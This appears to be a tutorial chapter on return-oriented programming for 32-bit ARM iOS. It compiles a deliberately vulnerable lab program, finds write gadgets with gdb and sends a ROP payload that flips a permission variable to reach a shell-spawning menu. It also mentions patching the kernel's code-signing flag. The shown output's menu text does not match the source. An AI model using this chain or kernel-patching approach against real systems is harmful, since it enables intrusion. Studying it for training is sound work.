0x05 Runtime patching
Runtime patching
Runtime patching is the process of patching instructions or variables in a process during it’s runtime. In oppose to opening the binary in a disassembler, replacing instructions and producing a modified executable, runtime patching with Return Oriented Programming does not involve modifying the executable file as all of the patches are applied to the program as it is running.
Why do we need this? While simply statically patching a binary and producing a new executable is easier, it is not possible when attempting to patch the iOS kernel or another important process in an embedded system. With the iOS kernel, patching invalidates it’s digital code signature which will result in it being rejected by iBoot during boot time (unless iBoot is also patched). Therefore the iOS kernel must have it’s security features patched while it is already running through the user of a ROP payload.
To apply patches to a running process using ROP, first we need a way to allow us to write arbitrary data to a memory location of our choice.
This isn’t possible when working with simple programs as the area of memory that stores the actual instructions (__TEXT) is marked as Non-Writeable 😒 This means that attempting to overwrite instructions with our own will cause a crash and the exploit will fail. To workaround this, we must modify the kernel to be able to modify the page tables. So in this tutorial we will only attempt to patch __DATA section as this area of memory is marked as Writeable.
To be able to write to an arbitrary memory location, we need to use a special type of ROP gadget. These types of gadgets are known as “write gadgets” as they allow us to specific the data and the address in memory to write it to.
Let’s prepare app for testing:
0x05.c
#import <stdio.h>
#import <string.h>
#import <unistd.h>
#import <stdlib.h>
int internal_mode = 0;
void func1(){
printf("Hello world! This is function 1!\n");
}
void func_internal(){
printf("\x1b[33mYay you entered internal function ;)\x1b[0m\nChoose your option\n[1] Touch a file\n[2] Spawn a shell\n[3] Exit\n");
char input[1];
scanf("%s",input);
char inp = *(char*)input;
printf("input %c \n", inp);
if ( inp == '1' ){
system("touch pwnd");
} else if ( inp == '2') {
system("/bin/sh");
} else if ( inp == '3' ) {
exit(0);
} else {
printf("Invalid option");
}
}
void validate(char func_id[]){
printf("internal_mode %i \n", internal_mode);
char f = *(char*)func_id;
printf("func_id %c \n", f);
if ( f == '1') {
func1();
} else if ( f == '2' ) {
if (internal_mode == 0) {
printf("You do not have permission to launch this function.\n");
}
else {
func_internal();
}
} else if ( f == '3' ) {
exit(0);
} else {
printf("Invalid choice.\n");
}
}
void write_anywhere(){
__asm__("str r0, [r1]");
__asm__("pop {r7, pc}");
}
void gadget(){
__asm__("pop {r0,r1,pc}");
}
int main(){
int a = 1;
printf("0x05 Runtime patching tests\n\n");
while (a == 1) {
printf("Select an option:\n[1] option 1\n[2] option 2 (internal)\n[3] exit\n");
char input[8];
scanf("%s", input);
validate(input);
}
return 0;
}
Compile and sign:
$ clang 0x05.c -fno-stack-protector -fno-pie -arch armv7 -mios-version-min=6 -mno-thumb -isysroot /var/root/theos/sdks/iPhoneOS10.3.sdk/ -o 0x05
$ ldid -S 0x05
Now to analyse the binary we can use more sophisticated tool like Hopper Disassembler or IDA, which will nicely show us program flow in graphs. We will hopefully cover the binary analysis some next time. But for now we will focus on this tutorial task, which is patching the app during it’s runtime. So let’s say we analysed the binary and recognized that the validate()
function is based on one variable only, internal_mode
. So what we need to do is to patch this variable during program run, so we can access functionality we were not designed to 😉
/Sidenote/
This situation is similar to the iOS kernel exploiting, where attacker can patch the variable "cs_enforcement_disable" from "0" to "1" to disable the code signing enforcement
Ok, so to prepare our exploit, we need to first find suitable gadgets and functions addresses.
$ gdb 0x05
(gdb) info functions
...
0x0000bb60 func1
0x0000bb84 func_internal
0x0000bc54 validate
0x0000bd38 write_anywhere
0x0000bd44 gadget
0x0000bd4c main
0x0000bdcc stub helpers
0x0000bff0 dyld_stub_exit
0x0000bff4 dyld_stub_printf
0x0000bff8 dyld_stub_scanf
0x0000bffc dyld_stub_system
(gdb) disass write_anywhere
Dump of assembler code for function write_anywhere:
0x0000bd38 <write_anywhere+0>: 00 00 81 e5 str r0, [r1]
0x0000bd3c <write_anywhere+4>: 80 80 bd e8 pop {r7, pc}
0x0000bd40 <write_anywhere+8>: 1e ff 2f e1 bx lr
(gdb) disass gadget
Dump of assembler code for function gadget:
0x0000bd44 <gadget+0>: 03 80 bd e8 pop {r0, r1, pc}
0x0000bd48 <gadget+4>: 1e ff 2f e1 bx lr
(gdb) info variables
0x0000c018 internal_mode
We will use two gadgets here: one from write_anywhere()
, second from gadget()
. At the end of the exploit string we add the 4 junk bytes and redirect to main()
so that once the patch is applied, instead of the program crashing, it returns back to the start of the main()
function. This effectively restarts the program with the patch applied. So ROP chain will look something like this:
random characters + gadget() + new internal_mode value + address of internal_mode + write_anywhere() + 4 random bytes + main()
Which will effectively lead to:
AAAABBBBCCCCDDDDEEEE\x44\xbd\x00\x00AAAA\x18\xc0\x00\x00\x38\xbd\x00\x00AAAA\x4c\xbd\x00\x00
So let’s try passing our string to function
printf "AAAABBBBCCCCDDDDEEEE\x44\xbd\x00\x00AAAA\x18\xc0\x00\x00\x38\xbd\x00\x00AAAA\x4c\xbd\x00\x00" | ./0x05
Did you catch an infinite loop? Well that’s a good sign, something is happening, not as expected but still.. 😉
Workaround for this program’s infinite loop is to pass cat
function which would let it wait for user input in stead of getting in that loop.
(printf "AAAABBBBCCCCDDDDEEEE\x44\xbd\x00\x00AAAA\x18\xc0\x00\x00\x38\xbd\x00\x00AAAA\x4c\xbd\x00\x00"; cat) | ./0x05
Ok so after pathing, program behaviour should be like normal - displaying options to select and waiting for user input. But now we should be able to enter option 2, restricted function 😎
$ (printf "AAAABBBBCCCCDDDDEEEE\x44\xbd\x00\x00AAAA\x18\xc0\x00\x00\x38\xbd\x00\x00AAAA\x4c\xbd\x00\x00"; cat) | ./0x05
0x05 Runtime patching tests
Select an option:
[1] option 1
[2] option 2 (internal)
[3] exit
1
internal_mode 0
func_id A
Invalid choice.
0x05 Runtime patching tests
Select an option:
[1] option 1
[2] option 2 (internal)
[3] exit
2
internal_mode 1094795585
func_id 2
Developer-only functionality ;P
What would you like to do?
[1] Touch a file
[2] Spawn a shell
[3] Quit function
2
input 2
uname -a
Darwin iPhone 16.7.0 Darwin Kernel Version 16.7.0: Wed Jul 26 11:08:56 PDT 2017; root:xnu-3789.70.16~21/MarijuanARM_S5L8950X iPhone5,2 arm N42AP Darwin